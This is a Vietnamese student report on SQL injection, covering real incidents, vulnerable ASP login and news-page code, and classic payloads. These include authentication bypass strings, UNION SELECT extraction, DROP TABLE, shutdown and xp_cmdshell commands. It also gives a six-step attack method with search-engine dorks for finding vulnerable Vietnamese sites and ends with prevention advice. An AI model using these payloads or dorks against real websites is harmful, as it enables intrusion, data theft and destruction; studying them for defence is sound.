Tải bản đầy đủ (.docx) (16 trang)

Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (382.96 KB, 16 trang )

Phản ứng tình huống tấn công mạng
Nhóm 1
Phản ứng tình huống tấn công mạng
Đề tài : Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh.
Nhóm 1 : Trần Trung Lý
Dương Nguyễn Thái
Trần Hoàng Ngọc Thiện
Nguyễn Đức Thắng
Nguyễn Bá Mãi
Phan Trần Minh Hoàng
I.Vấn đề SQL INJECTION với công nghệ
Năm 2006:Hãng bảo mật SecureWorks cho biết đã phát hiện tới 8.000 vụ tấn
công lên các cơ sở dữ liệu mỗi ngày. Con số thống kê của SecureWorks được thống kê
từ hệ thống các cơ sở dữ liệu của hơn 1.300 khách hàng sử dụng các giải pháp dịch vụ
bảo mật của hãng này.
4 – 2011: Sun.com và MySQL.com đã bị tấn công bởi kỹ thuật SQL
injection,làm lộ ra database của các website này, bao gồm username và password.
4 – 2011: LizaMoon scareware campaign infected hundreds of thousands of
websites via SQL Injection.
Hacker ngày càng tỏ ra nguy hiểm khi bọn chúng đã chèn thành công những
đoạn mã để hiển thị đường dẫn đến 21 tên miền khác nhau. Một tìm kiếm trên Google
về những trang web độc hại của hacker cho thấy, có hơn 3 triệu trang web đang ẩn
chứa những nguy cơ, cho thấy những đường link độc hại như thế được chèn vào. Đa
số những trang web bị tấn công đều không phải là những trang web lớn, thuộc về
doanh nghiệp nhỏ, đội tuyển thể thao…
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 1
Phản ứng tình huống tấn công mạng Nhóm 1
II.SQL INJECTION là gì?
1.Giới thiệu
Cơ sở dữ liệu(database) được coi như là quan trọng nhất của hầu hết các
website. Nó chứa đựng những dữ liệu cần thiết để website có thể chạy và lưu trữ các


thông tin phát sinh trong quá trình chạy. Nó cũng lưu trữ những thông tin cá nhân , thẻ
tín dụng , mật khẩu của khách hàng , của user và thậm chí là cả của Administrator.
Hơn cả thế nữa , database còn lưu trữ cả những chi tiết về hoá đơn mua hàng , chi tíêt
hàng hoá Đó chính là lý do mà việc bảo vệ Database của 1 website lại rất quan trọng
để bảo vệ quyền lợi khách hàng, vận hành việc kinh doanh 1 cách hiệu quả.
Nhưng điều gì xảy ra khi bạn nhận ra rằng những dữ liệu đó không an toàn.
Điều gì sẽ xảy ra khi bạn nhận ra rằng có 1 lỗi bảo mật mới được phát hiện ? Bạn sẽ
trả lời ngay rằng bạn sẽ tìm kiếm 1 phiên bản sữa lổi (patch) hoặc nâng cấp ứng dụng
lên version mới hơn. Nhưng bạn sẽ không ngờ rằng ,còn có 1 loại lỗi khác không thể
nào trông chờ vào việc sửa chữa của hãng viết softwares vì lỗi này phát sinh là
do chính bạn. Lỗi SQL Injection (Chèn lệnh SQL).
2.SQL INJECTION là gì ?
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến
hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển
cho ứng dụng web xử lí, bạn có thể login mà không cần username và password,
remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là
một trình dzuyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx,
SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng
trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ
quản trị cơ sở dữ liệu để "tiêm vào“và thi hành các câu lệnh SQL bất hợp pháp.
3.Nguyên nhân
Lỗi SQL Injection xảy ra khi website không được lập trình tốt hoặc cấu hình
máy chủ tốt. Vì vậy, hệ thống không kiểm soát được chặt chẽ các tham số đầu vào cho
các câu truy vấn SQL, dẫn đến bị hacker lợi dụng để chèn vào các câu truy vấn nguy
hiểm đối với CSDL.
Tấn công SQL Injection vào các website đang là hình thức tấn công rất phổ
biến trên thế giới hiện nay.
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 2
Phản ứng tình huống tấn công mạng Nhóm 1
4.Hậu quả:

Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện
các thao tác đọc, xóa, hiệu chỉnh … toàn quyền trên cơ sở dữ liệu của ứng dụng. Lỗi
này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị
cơ sở dữ liệu như SQL Server, MySQL .
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 3
Phản ứng tình huống tấn công mạng Nhóm 1
III.CÁC DẠNG TẤN CÔNG SQL INJECTION
Có bốn dạng thông thường bao gồm:
– Vượt qua kiểm tra lúc đăng nhập (Aauthorization bypass)
– Sử dụng câu lệnh SELECT
– Sử dụng câu lệnh INSERT
– Sử dụng các stored-procedures.
3.1 Dạng tấn công vượt qua kiểm tra đăng nhập:
Hacker có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các
câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web.
Hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông
tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ
kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay
từ chối thực hiện tiếp
Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu
của ứng dụng web.
Ví dụ, trong trường hợp sử dụng ASP, người ta có thể dùng 2 trang : 1 trang
HTML để hiển thị Form nhập liệu và 1 trang ASP để xử lý thông tin nhập vào từ phía
người dùng
Trang nhập liệu: login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME"><br>
Password: <input type="password" name="fPASSWORD"><br>
<input type="submit">
</form>

Trang xử lý nhập liệu: execlogin.asp
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 4
Phản ứng tình huống tấn công mạng Nhóm 1
<%
Dim vUsrName, vPassword, objRS, strSQL vUsrName =
Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _"WHERE USR_NAME='
" & vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' “
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open
strSQL, "DSN= "
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " &
jRS("USR_NAME")
End If
Set objRS = Nothing
%>
Ta có thể thấy người dùng không thể đăng nhập mà không có tên đăng nhập và mật
khẩu hợp lệ, tuy nhiên, đoạn mã này thực sự không an toàn, chỗ sơ hở trong đoạn mã
xử lý nhập liệu trên nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây
dựng trực tiếp câu lệnh SQL. Chính điều này cho phép Hacker có thể điều khiển câu
truy vấn sẽ được thực hiện
Hacker tấn công như thế nào:
• Hacker nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang
login.htm là: ' OR ' ' = '
• Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and
USR_PASSWORD= '' OR ''= '‘
1.Kiểm tra USR_NAME =‘’ đúng hay sai ? > Sai

2.Kiêm tra 1=1 đúng hay sai? > Đúng
3. Kiểm tra USR_PASSWORD =‘’ đúng hay sai ? > Sai
4.Kiêm tra 1=1 đúng hay sau > Đúng
(1) or (2) -> Đúng,(3) or (4) -> Đúng
• Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và
đoạn mã tiếp theo xử lí hacker đăng nhập bất hợp pháp này như là người dùng
đăng nhập hợp lệ.
• Ngoài ra các bạn có thể sử dụng :
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 5
Phản ứng tình huống tấn công mạng Nhóm 1
' or 1=1 " or 1=1 or 1=1 ' or 'a'='a " or "a"="a ') or ('a'='a ở sau câu truy
vấn.
Ví dụ : SELECT * FROM product WHERE PCategory='food' or 1=1 ‘
• Thi hành lệnh từ xa bằng SQL Injection
 '; exec master xp_cmdshell 'ping 10.10.1.2’
 Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.
 Dấu chấm phẩy ( sẽ kết thúc dòng SQL query hiện tại và cho phép bạn
thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành
hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump
như sau:
 #tcpdump icmp
 Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.
Tương tự như vậy, hacker có thể lợi dụng và làm những điều tồi tệ hơn trên
chính website.
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 6
Phản ứng tình huống tấn công mạng Nhóm 1
Hacker nhập chuỗi
Nhận thông báo từ server khi giá trị không đúng
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 7
Phản ứng tình huống tấn công mạng Nhóm 1

2.Dạng tấn công sử dụng câu lệnh SELECT
Để thực hiện được kiểu tấn công này, hacker phải có khả năng hiểu và lợi dụng
các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho
việc tấn công.
Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn
nội dung của tin có ID này.
Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó
truy vấn nội dung của tin có ID này.
VD:
Mã nguồn cho chức năng này thường được viết khá đơn giản theo dạng
<%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "
Set objRS = Nothing
%>
Đoạn mã này hiển thị nội dung của tin có ID trùng với ID đã chỉ định và hầu như
không thấy có lỗi. Tuy nhiên, giống như ví dụđăng nhập ở trước, đoạn mã này để lộ sơ
hở cho một lỗi SQL injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng
cách gán ID cho một giá trị khác, và từ đó, khởi đầu cho một cuộc tấn công bất hợp
pháp, ví dụ như:
0 OR 1=1 (nghĩa là, or 1=1).
Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện
câu lệnh:
SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 8
Phản ứng tình huống tấn công mạng Nhóm 1
Lúc này Hacker sẽ thêm dấu nháy đơn ‘ sau link, nếu có lỗi thì site sẽ báo như

thế này:
Sau khi biết site có lỗi hacker sẽ lợi dụng lỗi của site sẽ khai thác và lấy thông tin
như : table, columns …, hoặc hiệu chỉnh, xóa dữ liệu bằng các câu lệnh SQL .
Tấn công kiểu select này tuy phức tạp nhưng thường được hacker sử dụng, hacker
thường khai thác lỗi này để lấy cắp tài khoản chùa hoặc chiếm quyền Admin của một
website nào đó
Tương tự như trên, hacker có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào
trường tên tác giả bằng chuỗi giá trị:
‘ UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*)
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm
lệnh tiếp theo sau từ khóa UNION.
Tất nhiên các ví dụ nói trên, dường như không có gì nguy hiểm, nhưng hãy thử tưởng
tượng kẻ tấn công có thể xóa toàn bộ cơ sở dữ liệu bằng cách chèn vào các đoạn lệnh
nguy hiểm như lệnh DROP TABLE.
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 9
Phản ứng tình huống tấn công mạng Nhóm 1
Ví dụ như: ' DROP TABLE T_AUTHORS –
3.Dạng tấn công sử dụng câu lệnh INSERT
Từ khóa INSERT dùng đề đưa thông tin vào cơ sở dữ liệu. Thông thường câu
lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử dụng,
guestbook
Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể
xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống
không kiểm tra tính hợp lệ của thông tin nhập vào.
Kĩ thuật “;” , “ ” được dùng như đã từng dùng với câu lệnh SELECT, phải
đảm bào đúng số lượng và kiểu giá trị được nhập nhằm tránh lỗi cú pháp ( nếu không
xác định được kiểu dữ liệu có thể nhập tất cả là số)
Một câu lệnh INSERT có thể có cú pháp dạng:
INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three')
Nếu hacker nhập vào tại: Value One chuỗi:

‘ + SELECT TOP 1 FieldName FROM TableName + ’
Lúc này câu truy vấn sẽ là:
INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM
TableName) + ' ', 'abc', 'def')
Lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh
nữa đó là:
SELECT TOP 1 FieldName FROM TableName
Vậy tất cả những dữ liệu nằm trên website của bạn, hacker đều có thể lấy cắp
được.Bạn thử nghĩ điều gì sẽ xảy ra nếu thông tin đó là user & password của Admin,
hoặc là tài khoản Credit Card .
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 10
Phản ứng tình huống tấn công mạng Nhóm 1
4.Dạng tấn công sử dụng stored-produces
Stored-produces được sử dụng trong lập trình web với mục đích giảm sự phức
tạp và tránh sự tấn công trong kĩ thuật SQL INJECTION. Tuy nhiên HACKER vẫn có
thề lợi dụng stored-produces để tấn công vào hệ thống
VD:
Stored-produces sp_login gồm 2 tham số là username và password
Nếu nhập: Username: nhimmap
Password: ‘;shutdown—
Lệnh gọi stored-produces như sau:
Exec sp_login ‘nhimap’, ‘’;shutdown—‘
Lệnh shutdown thực hiện dừng SQL SERVER ngay lập tức
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được
thực thi với quyền quản trị hệ thống 'sa'.
VD:
Nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell ‘cmdd.exe dir C: '.
Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server.
Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
IV.Kỹ thuật tấn SQL INJECTION

Kỹ Thuật tấn công bằng sql injection đơn giản hóa thành 6 bước gồm:
1) Tìm kiếm mục tiêu.
2) Kiểm tra chỗ yếu của trang web
3) Nhận data qua ‘database using ODBC error message’
4) Xác định tên của các column trong table
5) Thu thập các dữ liệu quan trọng.
6) Xử lý kết quả tìm được
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 11
Phản ứng tình huống tấn công mạng Nhóm 1
1.Tìm kiếm mục tiêu:
• Có thể dùng các bất kỳ 1 search-engine nào trên mạng như các trang
login, search, feedback điển hình là .
• Có thể "custome search engine" lại cho phù hợp với yêu cầu của bạn.
• Một số trang web chuyển tham số qua các field ẩn, khi đó ta phải xem
mã html mới thấy rõ.
FORM action= Search/search.asp method= post>
<input type=hidden name=A value=c>
</FORM>
• Thực hiện các câu lệnh search như sau:
 inurl:php?id=site:com.vn
 inurl:php?id=site:com
 inurl:asp?id=site:co.uk
Ví dụ: khi search với câu lệnh "inurl:php?id=site:com.vn" ta được như
hình.Mọi địa chỉ trang web ta search được đều hiện thị số php?id=xx.
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 12
Phản ứng tình huống tấn công mạng Nhóm 1
2.Kiểm tra chỗ yếu của trang web:
• Điền thêm 1 số lệnh trên url, hoặc trên các from login, search để phát
hiện lỗi
• Không phải trang web nào cũng sẽ tấn công được.

• Khi bạn thêm lệnh trên url vào 1 số trang nó sẽ thông báo lỗi database
thì những trang này là những mục tiêu ta có thể tấn công.
3.Nhận data qua "database using ODBC error message":
• Đây là bước quan trọng nhất và đòi hỏi nhiều kĩ thuật lẫn sự hiểu biết về
cơ sở dữ liệu.
4.Xác định tên của các column trong table
• Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các
column trong table.Ta có thể khai thác như sau:
 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SHEMA.COLUMNS WHERE
TABLE_NAME=‘admin_login’—
 Kết quả :
• Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’[Microsoft]
[ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the
select list if the statement contains a UNION operator.
• /index.asp, line 5
5.Thu nhập các dữ liệu quan trọng:
• Dùng tên user tìm được để tìm password:
• UNION SELECT TOP 1 password
FROM admin_login where login _name=‘aaa’
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 13
Phản ứng tình huống tấn công mạng Nhóm 1
• Bây giờ ta sẽ nhận được password của 'aaa' là 'bbb'.
6.Xử lý kết quả tìm được:
• Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE
hoặc INSERT một record mới vào table này.
• Để thay đổi password của ‘aaa’ bạn có thể làm như sau:
 http://vitcon/index.asp?id=10 ;UPDATE ‘admin_login’ SET ‘password’ =‘ccc’
WHERE login_name=‘aaa’–
• Hoặc bạn login trực tiếp vào và thực hiện dưới quyền user đó.

V.Cách phòng chống
Các biện pháp phòng chống tấn công SQL Injection cho website phụ thuộc rất
nhiều vào nền tảng (platform) xây dựng web.
Ví dụ:
website của bạn được xây dựng trên platform nào (Joomla, Wordpress hay
DotNetNuke …) và sử dụng ngôn ngữ lập trình gì (ASP, PHP, .Net hay Java …).
Website đó đang chạy trên Web Server (IIS, Apache…) nào, hệ quản trị CSDL của
website là gì (Oracle, MySQL…)
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 14
Phản ứng tình huống tấn công mạng Nhóm 1
Một số quy tắc chung trong việc phòng chống SQL Injection:
 Đối với website (dành cho lập trình viên):
Cần kiểm tra tính đúng đắn của tất cả dữ liệu đầu vào. Dữ liệu đầu vào không
chỉ là các tham số, mà bao gồm cả cookie, user agent, referer.
Việc kiểm tra tính đúng đắn của dữ liệu có thể dựa trên các phương pháp sau:
 Kiểm tra dựa vào kiểu dữ liệu (số, ngày tháng …)
 Kiểm tra, giới hạn độ dài đầu vào
 Loại bỏ các ký tự đặc biệt như: ‘ % ” ? # @ & …
 Loại bỏ các từ đặc biệt: select, drop, delete, information_schemal, insert,
union, xp_
 Lọc bỏ các ký tự và từ khóa nguy hiểm như: , select , where , drop,
shutdown …
 Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu lệnh SQL
là bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ
đối tượng Request(Request,Request.QueryString, Request.Form,
Request.Cookies, and Request.ServerVariables).
Ví dụ, có thể giới hạn chiều dài của chuỗi nhập liệu, hoặc xây dựng hàm
EscapeQuotes để thay thế các dấu nháy đơn bằng 2 dấu nháy đơn.
 Đối với web server (dành cho quản trị mạng):
Hầu hết các máy chủ web (web server) hiện nay đều có các module hỗ trợ việc

phòng chống SQL Injection, ví dụ, Apache có modsecurity, IIS có URLScan. Bạn chỉ
cần bật tính năng này và cấu hình cho phù hợp. Nếu website của bạn là dạng trang tin
tức thì rất phù hợp để triển khai. Trong một số trường hợp khác, các module này có
thể chặn nhầm, dẫn tới website hoạt động không chính xác.
 Đối với database server (dành cho quản trị mạng):
Cần thực hiện việc cấu hình phân quyền chặt chẽ đối với các tài khoản. Khi đó,
dù tồn tại lỗi SQL Injection, thiệt hại cũng sẽ được hạn chế. Ngoài ra, bạn cần loại bỏ
các bảng, thành phần và tài khoản không cần thiết trong hệ thống.
4. Một số lời khuyên khác:
Cần tắt tất cả các thông báo lỗi không cần thiết của web server. Hacker có thể
lợi dụng chính các thông báo lỗi này để khai thác thông tin của hệ thống, phục vụ cho
một cuộc tấn công SQL Injection.
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 15
Phản ứng tình huống tấn công mạng Nhóm 1
Bạn cần bật các chế độ ghi log đầy đủ để phục vụ việc điều tra phát hiện cuộc
tấn công và giải quyết sự cố.
Bạn cần thường xuyên theo dõi và cập nhật phiên bản cho platform của website
(hệ điều hành, web server, database server…)
Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh. Page 16

×